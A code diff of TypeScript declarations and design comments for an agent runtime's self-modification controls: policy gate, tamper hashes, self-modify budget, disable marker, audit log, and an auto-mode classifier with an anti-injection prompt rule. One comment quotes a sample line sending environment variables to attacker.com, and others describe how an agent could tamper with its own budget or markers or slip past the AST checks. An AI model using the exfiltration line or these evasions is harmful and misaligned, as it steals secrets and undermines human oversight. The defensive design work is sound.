+ * Validate a staged artifact. Runs the static-only check pipeline:
+ *
+ *   1. Shape sanity (kind, handler.language, capabilities.tools array).
+ *   2. AST hard rules (no-eval / no-Function-constructor / require-handler-signature).
+ *   3. provider schema validation (Anthropic by default — main path).
+ *   4. LLM static review (only when caller injects `options.llmReviewer`).
+ *
+ * Verdict dispatch on LLM review:
+ *   - 'safe'        → ok=true, no LLM-review warnings.
+ *   - 'suspicious'  → ok=true, concerns surfaced as warnings; downstream
+ *                     `activate()` will run the policy gate (default
+ *                     ask-user) which can show those concerns to the user.
+ *   - 'dangerous'   → ok=false, errors carry the LLM concerns; activate
+ *                     will not be reachable without a fresh stage().
+ *
+ * IMPORTANT — handler is NOT materialized here. The earlier "materialize
+ * handler to surface syntax errors" step performed `await import(file://…)`
+ * BEFORE the policy gate, which executed the handler module's top-level
+ * code as a side effect. AST rules cover `eval` / `Function`, but a
+ * top-level `await fetch('http://attacker.com', { body: process.env })`
+ * was unguarded — see DD §14.5 threat model. loadHandler() now happens
+ * exclusively inside `activate()` after the policy verdict is `'approve'`,
+ * making the policy gate the single chokepoint for code execution.
+ *
+ * The LLM reviewer is opt-in: tests and Phase 1 callers that don't pass
+ * a client get the deterministic AST + schema path only.
+ */
+interface TestArtifactOptions {
+    /** Provider whose tool schema constraints are checked. Defaults to 'anthropic'. */
+    readonly provider?: SchemaProvider;
+    /** Inject a real or mock LLM client to run static review. Optional. */
+    readonly llmReviewer?: LlmReviewClient;
+    /**
+     * FEATURE_089 Phase 3.5 — sandbox test runner LLM callback. When
+     * supplied AND the artifact is `kind: 'agent'` AND `content.testCases`
+     * is non-empty, `testAgentArtifact` runs each test case through
+     * `Runner.run` with this callback and folds the results into
+     * `TestResult.errors` / `TestResult.warnings`. When omitted, agent
+     * test pipeline runs only the manifest shape + admission audit
+     * — cases are skipped silently (caller's choice not to sandbox).
+     */
+    readonly sandboxLlm?: SandboxLlmCallback;
+    /**
+     * Per-case wall-clock budget for sandbox cases. Forwarded to
+     * `runSandboxAgentTest`. Defaults to 30s when undefined.
+     */
+    readonly sandboxBudgetMs?: number;
+}
+declare function test(handle: StagedHandle, options?: TestArtifactOptions): Promise<TestResult>;
+/**
+ * Activate a staged-and-tested artifact: invoke policy gate, materialize
+ * the handler, register into TOOL_REGISTRY, persist `status='active'`.
+ *
+ * Throws `'reject'` policy verdicts as errors. `'ask-user'` requires the
+ * caller to have overridden the policy (Phase 1 has no built-in prompt UI).
+ *
+ * Pre-conditions:
+ *   - artifact.testedAt must be set (test() must have run successfully).
+ *     Without this gate the AST/schema/LLM-review chain could be skipped
+ *     entirely by an LLM that calls activate_tool directly after stage_tool.
+ *   - artifact.status must not be 'revoked' (terminal).
+ *
+ * Side-effects:
+ *   - loadHandler() runs `await import(file://…)` AFTER policy approval.
+ *     The handler module's top-level code only executes once policy says
+ *     'approve'. This makes the policy gate the single chokepoint for
+ *     code execution; the handler does not run during test().
+ *   - Records `contentHash = sha256(JSON.stringify(content))` so
+ *     rehydrate at the next boot can detect cross-session manifest
+ *     tampering (see ConstructionArtifact.contentHash for threat model).
+ */
+declare function activate(handle: StagedHandle): Promise<void>;
+/**
+ * Rehydrate every artifact whose `status === 'active'` back into
+ * TOOL_REGISTRY. Called once at process startup (REPL boot). Does NOT
+ * re-run policy gate — startup is restoring previously-approved state,
+ * not asking for fresh approval.
+ *
+ * Integrity check: each artifact's `contentHash` (recorded at activate
+ * time) is recomputed and compared to the persisted value. Mismatches
+ * are tampered = skipped with a stderr warning. This catches naive
+ * cross-session edits to the manifest JSON (e.g. an LLM rewriting the
+ * file via the Write tool without recomputing the hash). Sophisticated
+ * attackers who recompute the hash can bypass this — defense scoped to
+ * single-user CLI integrity, not multi-tenant supply chain.
+ *
+ * Legacy artifacts written before contentHash existed are accepted as-is
+ * (no hash to compare against) and the missing hash is back-filled on a
+ * future activate() — keeps upgrades from breaking previously-approved
+ * tools.
+ *
+ * Returns counts so callers can surface a loaded/failed/tampered banner.
+ * Failures are logged (console.warn) and rehydration continues for the
+ * remaining artifacts; a single bad manifest must not break boot.
+ */
+declare function rehydrateActiveArtifacts(): Promise<{
+    loaded: number;
+    failed: number;
+    tampered: number;
+}>;
+/**
+ * Revoke an active constructed tool. Removes the registration from
+ * TOOL_REGISTRY (the stack falls back to any prior version or builtin)
+ * and flips `status` to `'revoked'` on disk. The .js source remains for
+ * audit; the artifact JSON remains for history.
+ *
+ * Idempotent: revoking an unknown name@version is a no-op.
+ */
+declare function revoke(name: string, version: string): Promise<void>;
+/**
+ * List all artifacts on disk, optionally filtered by kind.
+ * Returns artifacts of any status (staged / active / revoked); callers
+ * that only want active should pipe through `.filter(a => a.status === 'active')`.
+ */
+declare function list(kind?: ConstructionArtifact['kind']): Promise<ConstructionArtifact[]>;
+/**
+ * Public lookup: read a persisted artifact by name+version. Iterates every
+ * supported kind. Returns `undefined` if not found.
+ *
+ * Used by the `test_tool` / `activate_tool` builtins to round-trip from a
+ * caller-supplied identifier back to the on-disk manifest, since the
+ * runtime keeps no in-memory artifact cache.
+ */
+declare function readArtifact(name: string, version: string): Promise<ConstructionArtifact | undefined>;
+
+/**
+ * View-layer queries over TOOL_REGISTRY for constructed tools.
+ *
+ * These are pure read helpers — they do NOT re-implement lookup logic;
+ * they enumerate / filter the existing registry stack. Lookup itself
+ * remains owned by `getActiveToolRegistration()` in registry.ts (D2
+ * decision — no Resolver class).
+ */
+
+/**
+ * All registrations whose source.kind === 'constructed', across every
+ * name in the registry. Order: registry insertion order per name; names
+ * in `listTools()` order.
+ */
+declare function listConstructed(): RegisteredToolDefinition[];
+/**
+ * Locate a specific constructed registration by name + semver. Returns
+ * undefined if no match exists. Useful for `revoke()` callers and CLI
+ * `inspect` commands.
+ */
+declare function findByVersion(name: string, version: string): RegisteredToolDefinition | undefined;
+/**
+ * Every registration in the stack across every name (builtin + extension
+ * + constructed). Caller filters as needed.
+ */
+declare function listAll(): RegisteredToolDefinition[];
+
+/**
+ * FEATURE_089 (v0.7.31) Phase 3.4 — Constructed Agent Resolver.
+ *
+ * Module-singleton registry mapping `name` → runnable `Agent` for
+ * agents that have passed admission and been activated through
+ * `ConstructionRuntime.activate()`. Mirrors the way TOOL_REGISTRY
+ * holds activated constructed tools, but for agents.
+ *
+ * Why a separate registry (not in TOOL_REGISTRY):
+ *
+ *   - Tools and Agents are different runtime types. A `KodaXToolDefinition`
+ *     has `input_schema` + `handler`; an `Agent` has `instructions` +
+ *     `tools` + `handoffs` + `reasoning`. Conflating them would force
+ *     consumers to discriminate on every lookup.
+ *   - Resolution semantics differ: a tool lookup returns the executable
+ *     handler; an agent lookup returns the declarative spec (Runner.run
+ *     drives the loop separately).
+ *
+ * Resolution surface:
+ *
+ *   - `resolveConstructedAgent(name)`     — name → Agent | undefined
+ *   - `listConstructedAgents()`           — snapshot of activated agents
+ *   - `registerConstructedAgent(artifact)` → unregister fn (called by
+ *      runtime on activate, captured in the runtime's `_activated` map)
+ *   - `_resetAgentResolverForTesting()`   — test isolation
+ *
+ * Tool / handoff ref resolution:
+ *   - Tool refs are resolved against TOOL_REGISTRY at activation time —
+ *     a snapshot. If a referenced tool is later revoked, the agent
+ *     keeps its stale ref; Phase 3.5 sandbox testing catches this.
+ *   - Handoff target refs lift to stub Agent objects (`name` only) when
+ *     the target hasn't been activated yet. Transitive admission ran
+ *     at test time so the graph is known to be acyclic; runtime
+ *     traversal just walks the names.
+ *
+ * Non-goal: full referential consistency between tools / agents /
+ * handoffs. The threat model is single-user CLI integrity (DD §14.5);
+ * stale refs are an LLM-authoring footgun, not a security bypass.
+ */
+
+/**
+ * Look up an activated constructed agent by name. Returns the
+ * resolved `Agent` (with tools / handoffs lifted from refs). Returns
+ * `undefined` when no agent at that name has been activated.
+ */
+declare function resolveConstructedAgent(name: string): Agent | undefined;
+/**
+ * FEATURE_090 — `true` iff a self-modify activation has been staged
+ * for `name` but has not yet been drained into the active registry.
+ * Surfaces for tooling that wants to display "next run will use
+ * version X" hints, and as a sanity-check assertion in tests.
+ */
+declare function hasPendingSwap(name: string): boolean;
+/**
+ * FEATURE_090 — promote every pending self-modify entry into
+ * `AGENT_REGISTRY`, replacing the prior active version. Returns the
+ * names that were drained so the caller can surface a hint
+ * ("alpha is now running version 1.1.0").
+ *
+ * Idempotent: calling on an empty pending map is a no-op. Atomic at
+ * the JS event-loop level (a single synchronous pass); drain cannot
+ * partially complete.
+ *
+ * Integration contract: the REPL surface calls this immediately after
+ * any top-level `Runner.run` returns. KodaX is single-process and
+ * single-user, so "the run that triggered the change" and "all
+ * in-flight runs" are the same set — no concurrent-run coordination
+ * needed.
+ */
+declare function drainPendingSwaps(): readonly string[];
+
+/**
+ * CtxProxy — runtime gate for constructed tool handlers.
+ *
+ * Constructed handlers run in the host process (no JS-level sandbox; see
+ * DD §14.5 for why we deliberately avoid worker_threads / isolated-vm).
+ * Safety derives from a four-layer model — Guardrail static check,
+ * `capabilities.tools` whitelist declaration, this CtxProxy at runtime,
+ * and policy gate on activate.
+ *
+ * Behavior (v0.7.28, single-dim capabilities) — see DD §14.5.3:
+ *   - `ctx.tools.<name>(...)` — capability check first, then dispatch
+ *     through `executeTool()` so the call traverses the SAME registry
+ *     pipeline as a builtin tool invocation. This "completes the chain":
+ *     the constructed handler reuses every safety policy that already
+ *     ships with builtins (e.g. bash OS sandbox, write path policy,
+ *     truncation, error mapping).
+ *   - Plan-mode predicate (`hostCtx.planModeBlockCheck`) is consulted
+ *     before every dispatch so a constructed handler cannot reach a
+ *     write tool that the parent plan-mode would have blocked. The
+ *     predicate closes over live parent state, so toggles propagate
+ *     mid-call.
+ *   - Constructed→constructed call chains are bounded by
+ *     {@link MAX_CONSTRUCTED_DEPTH}. Builtin callees are not counted.
+ *     Exceeding the limit returns a tool error rather than throwing —
+ *     keeps the parent agent loop alive and reportable.
+ *   - Direct `ctx.tools` enumeration / introspection is gated; the
+ *     proxied `tools` object only exposes whitelisted names.
+ *   - All other `ctx.<x>` properties (executionCwd, abortSignal, etc.)
+ *     pass through unchanged — they are framework infra, not tool calls.
+ *
+ * Anti-tampering:
+ *   - Returned proxy is `Object.freeze`d at the top level so handlers
+ *     cannot reassign `ctx.tools`.
+ *   - `Object.getPrototypeOf(proxiedTools)` returns null (no prototype
+ *     pollution surface).
+ *
+ * NOT a security boundary in the V8 / sandbox sense — it is a contract
+ * gate. Bypass attempts are part of the threat model addressed by
+ * Guardrail static check + LLM review.
+ */
+
+interface CreateCtxProxyOptions {
+    /**
+     * When set, capability denial is reported through this callback before
+     * the error is thrown. Lets the runtime emit a tracer span without
+     * coupling CtxProxy to the tracer module.
+     */
+    readonly onDenied?: (event: {
+        toolName: string;
+        declaredTools: readonly string[];
+    }) => void;
+}
+declare function createCtxProxy(ctx: unknown, capabilities: Capabilities, options?: CreateCtxProxyOptions): unknown;
+
+/**
+ * loadHandler — turns a manifest's handler script into a callable
+ * `ToolHandler` ready to register into `TOOL_REGISTRY`.
+ *
+ * Pipeline:
+ *   1. Validate language === 'javascript' (v0.7.28 hard limit).
+ *   2. Materialize the handler source onto disk under
+ *      `<cwd>/.kodax/constructed/tools/<name>/<version>.js`.
+ *   3. Dynamic `import()` of the file URL — host-process module load,
+ *      no worker / vm isolation (DD §14.4).
+ *   4. Wrap with `createCtxProxy` + a Promise.race timeout.
+ *
+ * Design notes:
+ *   - Returning `ToolHandlerSync` (not the streaming variant) — v0.7.28
+ *     constructed tools are non-streaming computations.
+ *   - Handler return value is stringified for the agent loop, mirroring
+ *     builtin tool result conventions.
+ *   - ESM module cache is intentional: re-loading the same `<version>.js`
+ *     returns the cached module. Constructed artifacts are immutable per
+ *     version, so this is correct (revoke + new version is the proper
+ *     update path).
+ *   - Timeout is enforced via Promise.race; the underlying handler
+ *     promise is *not* hard-aborted (Node has no general task abort).
+ *     Long-running CPU loops will leak past timeout — accepted in the
+ *     v0.7.28 threat model (LLM hallucination, not adversarial DoS).
+ */
+
+interface LoadHandlerScope {
+    readonly name: string;
+    readonly version: string;
+    /** Workspace root; defaults to `process.cwd()`. */
+    readonly cwd?: string;
+}
+interface LoadHandlerOptions {
+    /** Per-tool override; falls back to {@link DEFAULT_HANDLER_TIMEOUT_MS}. */
+    readonly timeoutMs?: number;
+    /** Pass-through to {@link createCtxProxy}. */
+    readonly ctxProxyOptions?: CreateCtxProxyOptions;
+}
+declare function loadHandler(scope: LoadHandlerScope, source: ScriptSource, capabilities: Capabilities, options?: LoadHandlerOptions): Promise<ToolHandlerSync>;
+
+/**
+ * Hard AST rules — first-tier static check for constructed tool handlers.
+ *
+ * Three rules, picked for maximum determinism + minimum cost (DD §14.5.1):
+ *   1. no-eval                    — any literal eval(...) call
+ *   2. no-Function-constructor    — new Function(...) and bare Function(...)
+ *   3. require-handler-signature  — module must export `handler` as an async
+ *                                   function/arrow/function-expression with
+ *                                   at least 2 parameters.
+ *
+ * Pass = enter LLM static review (second tier).
+ * Fail = block stage(); errors surface in TestResult.errors.
+ *
+ * Limitations (deliberately):
+ *   - We do NOT chase aliases (`const e = eval; e('...')`).
+ *   - We do NOT walk property accesses (`globalThis.eval`).
+ *   - We do NOT analyze string concat to spot `['req','uire'].join('')`.
+ * All of those are LLM-review territory — the rule set here is the
+ * "cheap, certain" first cut.
+ *
+ * Uses the bundled TypeScript compiler (already a KodaX dep) as the
+ * parser. Source kind is JS — handlers are limited to language='javascript'
+ * by load-handler; we just parse-as-JS to match.
+ */
+type AstRuleId = 'no-eval' | 'no-Function-constructor' | 'require-handler-signature';
+interface AstRuleViolation {
+    readonly rule: AstRuleId;
+    readonly message: string;
+}
+interface AstCheckResult {
+    readonly ok: boolean;
+    readonly violations: readonly AstRuleViolation[];
+}
+declare function runAstRules(jsCode: string): AstCheckResult;
+
+/**
+ * FEATURE_090 (v0.7.32) — Self-modify audit log.
+ *
+ * Append-only JSONL at `<cwd>/.kodax/constructed/_audit.jsonl`. Every
+ * self-modify lifecycle event (staged / activated / rejected / rolled-
+ * back / disabled / budget-reset) becomes one line. The file is the
+ * sole record an operator can replay to answer "what did this agent
+ * do to itself, when, and who approved each step."
+ *
+ * Why JSONL not JSON:
+ *   - Append is a one-line write, atomic against partial-flush concerns
+ *     (each line is independently parseable).
+ *   - Read can stream line-by-line without parsing the whole history.
+ *   - Standard tooling (jq, grep) works on the file directly.
+ *
+ * Why no rotation / truncation:
+ *   - Audit completeness > disk usage. A 100k-line file is ~10 MB and
+ *     remains tail-readable. The `kodax constructed audit` CLI surfaces
+ *     a warning when an agent crosses 100 entries — escalation cue,
+ *     not a hard cap.
+ *   - Truncating the audit log would defeat the point: a malicious
+ *     agent that gained write access could erase its own history.
+ *     Keeping the file append-only at the tooling level means
+ *     tampering shows up as JSONL the rest of the system can detect.
+ *
+ * Threat model:
+ *   The file lives in the same workspace the agent runs in, so an
+ *   agent with arbitrary filesystem write access could mutate it
+ *   directly. This module does NOT defend against that — KodaX's
+ *   single-user CLI threat model (DD §14.5) treats workspace
+ *   integrity as the user's responsibility. Each entry carries a
+ *   `diffHash` that downstream replay tools can re-compute against
+ *   the corresponding manifest version on disk; mismatches are an
+ *   alarm signal, not silently masked.
+ */
+
+/**
+ * Discriminated union of audit event kinds. Every self-modify-related
+ * lifecycle transition writes exactly one entry; rollback / disable /
+ * budget-reset are also recorded for full operator visibility.
+ *
+ * `event` is the discriminant. Keep the constant names stable — CLI
+ * filters and replay tooling pivot on these strings.
+ */
+type AuditEventKind = 'self_modify_staged' | 'self_modify_tested' | 'self_modify_activated' | 'self_modify_rejected' | 'self_modify_rolled_back' | 'self_modify_disabled' | 'self_modify_budget_reset';
+
+/**
+ * Single line in `_audit.jsonl`. Frozen after write — entries are
+ * never updated in place. Optional fields are omitted (not nulled)
+ * when the event kind doesn't carry them, so JSON.parse round-trips
+ * to a TS narrowing-friendly shape.
+ */
+interface AuditEntry {
+    readonly ts: string;
+    readonly event: AuditEventKind;
+    readonly agentName: string;
+    readonly toVersion: string;
+    /** Prior active version. Undefined for first-time staging events. */
+    readonly fromVersion?: string;
+    /** SHA-256 of the canonicalised `{ prev, next }` content pair. */
+    readonly diffHash?: string;
+    readonly llmSummary?: string;
+    readonly severity?: SelfModifyDiffSeverity;
+    readonly flaggedConcerns?: readonly string[];
+    /**
+     * Verdict surfaced by the policy gate. `force-ask-user` records the
+     * (hypothetical) fact that self-modify path bypassed any global
+     * auto-approve policy and forced a user prompt, distinct from the
+     * default `ask-user`.
+     */
+    readonly policyVerdict?: 'approve' | 'reject' | 'ask-user' | 'force-ask-user';
+    readonly budgetRemaining?: number;
+    /** Hard-reject rule id when `event === 'self_modify_rejected'`. */
+    readonly rejectRule?: string;
+    readonly rejectReason?: string;
+    /** OS user who took the action; informational, not authoritative. */
+    readonly user?: string;
+}
+interface AppendOptions {
+    /** Repo root (defaults to `process.cwd()`). */
+    readonly cwd?: string;
+}
+/**
+ * Append a single entry to the audit log. The directory is created on
+ * first call. JSON serialisation enforces the line-per-entry shape:
+ * one `JSON.stringify` followed by a literal `\n`. Multi-line JSON
+ * (pretty-printed) would corrupt the JSONL contract.
+ *
+ * Concurrency note: Node `fs.appendFile` on a single small write is
+ * atomic at the syscall level on the platforms KodaX targets
+ * (Linux/macOS/Windows). KodaX is single-user CLI so concurrent
+ * writers are not a real concern; defending against them would
+ * require a lock file the rest of the construction runtime doesn't
+ * carry.
+ */
+declare function appendAuditEntry(entry: AuditEntry, options?: AppendOptions): Promise<void>;
+interface ReadOptions {
+    readonly cwd?: string;
+    /** Filter to a single agent. Undefined returns all entries. */
+    readonly agentName?: string;
+    /** Filter to specific event kinds. Undefined matches every kind. */
+    readonly events?: readonly AuditEventKind[];
+}
+/**
+ * Stream the audit log line-by-line, parse each, and return entries
+ * matching the optional filters. Malformed lines are skipped with a
+ * stderr warning — a single corrupted entry must not poison the
+ * entire history. (This mirrors `loadAllArtifacts` in runtime.ts.)
+ *
+ * Returns an empty array when the audit file does not exist (fresh
+ * workspace, no self-modify ever recorded).
+ */
+declare function readAuditEntries(options?: ReadOptions): Promise<AuditEntry[]>;
+
+/**
+ * FEATURE_090 (v0.7.32) — Self-modify budget counter.
+ *
+ * Per-agent counter persisted at
+ * `<cwd>/.kodax/constructed/agents/<name>/_self_modify.json`. The
+ * counter caps how many cross-run self-modify cycles an agent can
+ * accumulate before requiring a human unlock. Without this cap, an
+ * agent that learns to self-modify could rewrite itself on every
+ * session boot until it drifts arbitrarily far from the original
+ * design — Layer A admission and the policy gate would each be a
+ * single rubber-stamp click away.
+ *
+ * Why a separate file (not in the manifest):
+ *   - Manifests are content-hashed and version-immutable
+ *     (`stage()` refuses to rewrite an existing version). A counter
+ *     that mutates across versions cannot live inside the hashed
+ *     content without breaking the `contentHash` integrity guarantee.
+ *   - The counter accumulates across versions; binding it to one
+ *     `<version>.json` would lose state on every bump.
+ *
+ * Why hard-coded N=3 (not configurable):
+ *   - System-level safety constants the agent cannot influence are
+ *     part of the threat model. Allowing per-agent override would
+ *     mean a self-modifying agent could lift its own ceiling — the
+ *     opposite of what the budget is for. Users adjust by reset
+ *     (CLI `kodax constructed reset-self-modify-budget <name>`),
+ *     not by config.
+ *
+ * Threat model & hardening:
+ *   The file is plain JSON in the user's workspace. An agent with
+ *   filesystem write access (via Write/Edit tools) is an active
+ *   threat for FEATURE_090 — the agent itself is the actor we
+ *   gate against. We harden two ways:
+ *
+ *     - The persisted `limit` is IGNORED on read; `readBudget`
+ *       always returns `DEFAULT_SELF_MODIFY_BUDGET` as the limit.
+ *       Tampering the file to raise the cap is a no-op.
+ *     - The persisted `count` is clamped to `>= 0` on read so a
+ *       negative number cannot grant extra remaining budget.
+ *
+ *   What we do NOT defend against: an attacker with shell-level
+ *   filesystem access can still delete the file, which resets the
+ *   counter to zero. The audit log captures the behavioural gap
+ *   (5 self-modifies recorded but post-modify counter shows 0)
+ *   and an operator replaying the log notices.
+ */
+/**
+ * Default cross-run self-modify budget. N=3 was chosen as the
+ * minimum that allows "two course corrections, then settle" while
+ * forcing re-engagement before the agent drifts far from its
+ * original design. Lifting this requires deliberately re-evaluating
+ * whether the audit log + ratchet alone are sufficient.
+ *
+ * Not exported as a configurable knob — see module docstring for
+ * the rationale.
+ */
+declare const DEFAULT_SELF_MODIFY_BUDGET = 3;
+/**
+ * On-disk shape of the per-agent budget file. `limit` and `count`
+ * are stored as plain integers. `lastModifiedAt` is ISO-8601 (sortable
+ * + human-readable) — the audit log carries millisecond timestamps,
+ * which complement, not duplicate, this field.
+ */
+interface BudgetState {
+    readonly name: string;
+    readonly limit: number;
+    readonly count: number;
+    readonly lastModifiedAt?: string;
+}
+interface BudgetIO {
+    readonly cwd?: string;
+}
+/**
+ * Read the agent's current budget state, materialising the default
+ * record on first access. The default record is NOT persisted at
+ * read time — only `consumeBudget` and `resetBudget` write to disk.
+ * Read-only callers (e.g. the CLI's `audit` listing) must remain
+ * side-effect-free so a `--dry-run` mode is trivially possible later.
+ */
+declare function readBudget(name: string, io?: BudgetIO): Promise<BudgetState>;
+/**
+ * Number of remaining self-modify slots. `limit - count`, clamped at
+ * zero so a corrupt file that recorded `count > limit` doesn't show
+ * a negative remaining count to the user.
+ */
+declare function remaining(state: BudgetState): number;
+/**
+ * Reset the consumption counter to zero. Does not change the limit.
+ * Surface to users via `kodax constructed reset-self-modify-budget`.
+ *
+ * Returns the post-write state so the CLI can confirm "now N/N
+ * available" without an extra read.
+ */
+declare function resetBudget(name: string, io?: BudgetIO): Promise<BudgetState>;
+
+/**
+ * FEATURE_090 (v0.7.32) — Per-agent self-modify disable marker.
+ *
+ * The marker file at `.kodax/constructed/agents/<name>/_self_modify_disabled.json`
+ * indicates the operator has explicitly disabled an agent's self-modify
+ * capability through the `kodax constructed disable-self-modify <name>`
+ * CLI. `validateSelfModify` consults this state and hard-rejects with
+ * the `self-modify-disabled` rule when the marker exists.
+ *
+ * One-way ratchet by design:
+ *
+ *   The CLI exposes `disable-self-modify` but no symmetrical `enable`.
+ *   Re-enabling self-modify is intentionally NOT supported — once an
+ *   operator decides an agent shouldn't be able to rewrite itself,
+ *   that decision sticks for the lifetime of the agent. To regain a
+ *   "can self-modify" agent, stage a separately-named replacement
+ *   through `stage_agent_construction`.
+ *
+ * Why a separate file (not a flag inside `_self_modify.json`):
+ *   - Concerns are independent: budget consumption is a counter that
+ *     legitimately mutates every activation cycle; disable is a
+ *     permanent operator decision. Mixing them would force the
+ *     budget read path to discriminate "is the file just a counter
+ *     update, or did someone also flip the disable flag?"
+ *   - File presence as the truth value is dead simple to detect
+ *     (`fs.access` returns OK / ENOENT).
+ *
+ * Threat model: same as the rest of FEATURE_090's persisted state —
+ * single-user CLI workspace integrity (DD §14.5). An agent with
+ * filesystem write access could create the marker itself, which is
+ * actually fine: writing the marker only DISABLES (one-way safety
+ * ratchet). Removing it would re-enable, but `validateSelfModify`
+ * still requires the marker to be present to reject — if a
+ * resourceful agent removes the marker AND submits a self-modify in
+ * the same session, the modify still has to pass admission /
+ * guardrail ratchet / user approval. The marker is one layer of
+ * defense, not the only one.
+ */
+interface DisableState {
+    readonly name: string;
+    readonly disabled: boolean;
+    readonly disabledAt?: string;
+    readonly user?: string;
+}
+interface DisableIO {
+    readonly cwd?: string;
+}
+/**
+ * Read the disable marker for `name`. Returns
+ * `{ disabled: false, name }` when the file does not exist (the
+ * common case). Malformed JSON content is treated as "not disabled"
+ * with a stderr warning — we don't want a corrupt marker to silently
+ * permit self-modifies on an agent the operator meant to disable.
+ *
+ * No, wait — we DO want corrupt markers to fail safe in the
+ * "disabled" direction so an attacker can't bypass disable by
+ * corrupting the file. Override: malformed → treat as disabled.
+ */
+declare function readDisableState(name: string, io?: DisableIO): Promise<DisableState>;
+interface DisableOptions {
+    readonly cwd?: string;
+    readonly user?: string;
+}
+/**
+ * Write the disable marker. Idempotent — calling on an
+ * already-disabled agent rewrites the timestamp, preserving the
+ * one-way ratchet semantics (the CLI surface still records the new
+ * audit entry separately).
+ */
+declare function disableSelfModify(name: string, options?: DisableOptions): Promise<DisableState>;
+
+/**
+ * FEATURE_090 (v0.7.32) — Self-modify rollback orchestration.
+ *
+ * `rollbackSelfModify` is the runtime-level operation behind the
+ * `kodax constructed rollback <name>` CLI. It restores the
+ * previously-active version of a constructed agent by:
+ *
+ *   1. Identifying the current active version (the `status='active'`
+ *      record with the most recent `activatedAt`).
+ *   2. Identifying the rollback target — the next-most-recent
+ *      `status='active'` record on disk for the same name. Earlier
+ *      versions stay at `status='active'` after a self-modify
+ *      activate (FEATURE_090 design intent: keep them as rollback
+ *      targets), so the candidate set is whatever the file system
+ *      has.
+ *   3. Revoking the current active record (status → 'revoked',
+ *      removed from the resolver via the unregister callback).
+ *   4. Re-registering the target into the resolver. No policy gate,
+ *      no LLM summary, no force-ask-user — rollback is its own
+ *      operator-driven gate; the CLI invocation itself is the
+ *      authorisation.
+ *
+ * We do NOT rewrite the target's `activatedAt`. The original
+ * activation timestamps form a natural rollback chain: a second
+ * rollback against the same agent picks the next-older active
+ * record, and so on. Rewriting `activatedAt` would collapse the
+ * history and break chained rollbacks.
+ *
+ * Why a dedicated function (not a thin wrapper around `activate()`):
+ *
+ *   - `activate()` triggers the FEATURE_090 self-modify detection
+ *     (`sourceAgent === name && active prev exists`). In a rollback
+ *     flow that detection would mis-fire and route through
+ *     force-ask-user / LLM summary, asking the user for permission
+ *     they already granted by invoking the rollback CLI.
+ *   - `activate()` enforces the FEATURE_088 policy gate; the CLI
+ *     surface configures `policy='reject'`, so it would always
+ *     throw.
+ *   - Rollback is read-modify-write across two persisted records
+ *     (revoke + re-register) and benefits from atomic-ish ordering
+ *     hidden behind one function rather than scattered across the
+ *     CLI.
+ *
+ * Audit semantics: this module persists the resolver/disk changes
+ * but does NOT write the audit entry — the CLI surface owns audit
+ * attribution (records the OS user) and writes the
+ * `self_modify_rolled_back` entry around the call. Keeps the
+ * runtime's persistence concern separate from CLI-side attribution.
+ */
+interface RollbackResult {
+    readonly agentName: string;
+    readonly fromVersion: string;
+    readonly toVersion: string;
+    readonly fromActivatedAt: number | undefined;
+    readonly toActivatedAt: number | undefined;
+}
+/**
+ * Roll back `name` to its previous active version. Throws
+ * `RollbackError` with a discriminated `code` so the CLI surface can
+ * map onto exit codes / human-readable messages without string
+ * matching.
+ *
+ * Pre-conditions:
+ *   - At least two records on disk for the given name with
+ *     `status='active'` and `activatedAt` set. The current is
+ *     revoked; the next-most-recent becomes the active resolver
+ *     entry.
+ *   - The rollback target's manifest must still pass admission. We
+ *     re-run admission so a target that was admissible at the time
+ *     it originally activated but no longer is (system caps tightened,
+ *     registered invariants changed) can't be silently re-registered.
+ */
+declare function rollbackSelfModify(name: string): Promise<RollbackResult>;
+
+/**
+ * Auto-Mode Classifier Orchestrator — FEATURE_092 Phase 2b.3 (v0.7.33).
+ *
+ * Wires the classifier prompt + sideQuery + output parser into a single
+ * `classify(...)` call. Caller supplies the rules, transcript, and the
+ * tool-call action being classified; gets back a `ClassifyDecision`.
+ *
+ * Failure → decision mapping:
+ *
+ *   sideQuery.stopReason   parsedOutput   → ClassifyDecision
+ *   ───────────────────────────────────────────────────────
+ *   end_turn / max_tokens  block          → block (with reason)
+ *   end_turn / max_tokens  allow          → allow
+ *   end_turn / max_tokens  unparseable    → block (fail-closed)
+ *   end_turn / max_tokens  + tool_use     → block (contract violation)
+ *                          (sideQuery returns stopReason='error' here)
+ *   timeout                —              → escalate (user confirms)
+ *   aborted                —              → escalate (treated as caller-abort)
+ *   error                  —              → escalate (5xx / 429 / network)
+ *
+ * Why fail-closed on unparseable but escalate on timeout/error:
+ *   Unparseable = model spoke but didn't follow the contract → likely
+ *     trying to bypass; treating as block is conservative and safe.
+ *   Timeout/error = transient; blocking would punish the user for our
+ *     infra hiccup. Escalating to a confirm dialog preserves user
+ *     agency without putting safety on the line.
+ */
+
+interface ClassifyOptions {
+    readonly provider: KodaXBaseProvider;
+    readonly model: string;
+    readonly rules: AutoRules;
+    readonly claudeMd?: string;
+    readonly transcript: readonly KodaXMessage[];
+    readonly action: string;
+    /**
+     * FEATURE_158 (v0.7.39): static-analysis signals forwarded to the
+     * classifier prompt. Empty / undefined preserves the FEATURE_092 prompt
+     * shape (no `<signals>` block emitted). When supplied, the classifier
+     * sees signals between `<transcript>` and `<action>` as informational
+     * input — not verdicts.
+     */
+    readonly signals?: readonly ToolCallSignal[];
+    readonly timeoutMs?: number;
+    readonly abortSignal?: AbortSignal;
+    readonly costTracker?: CostTracker;
+    /**
+     * Optional setter — invoked once after `sideQuery` returns when the
+     * classifier successfully recorded its token usage. The CostTracker is
+     * immutable, so `sideQuery` produces a fresh tracker copy with the new
+     * record; without this setter the recorded call is silently dropped.
+     * Wired by the AutoModeToolGuardrail so the agent's tracker accumulates
+     * classifier calls under role='auto_mode'.
+     */
+    readonly setCostTracker?: (next: CostTracker) => void;
+}
+type ClassifyDecision = {
+    readonly kind: 'allow';
+    readonly reason: string;
+} | {
+    readonly kind: 'block';
+    readonly reason: string;
+} | {
+    readonly kind: 'escalate';
+    readonly reason: string;
+};
+declare function classify(opts: ClassifyOptions): Promise<ClassifyDecision>;
+
+/**
+ * Classifier prompt builder — FEATURE_092 Phase 2b.3 (v0.7.33).
+ *
+ * Builds the system prompt + user message for the auto-mode classifier
+ * sideQuery. Inert XML envelope: transcript and action are wrapped as
+ * data, not as continuation of the conversation.
+ *
+ * Anti-injection defenses:
+ *   1. The system prompt explicitly instructs the model to treat
+ *      <transcript> as data, never as instructions.
+ *   2. User-controlled strings (transcript content, action, rules) are
+ *      passed through `neutralizeStructuralDelimiters` so they can't
+ *      forge a closing </transcript> or a fake <action>.
+ *   3. Output format is constrained to `<block>yes|no</block><reason>…</reason>`
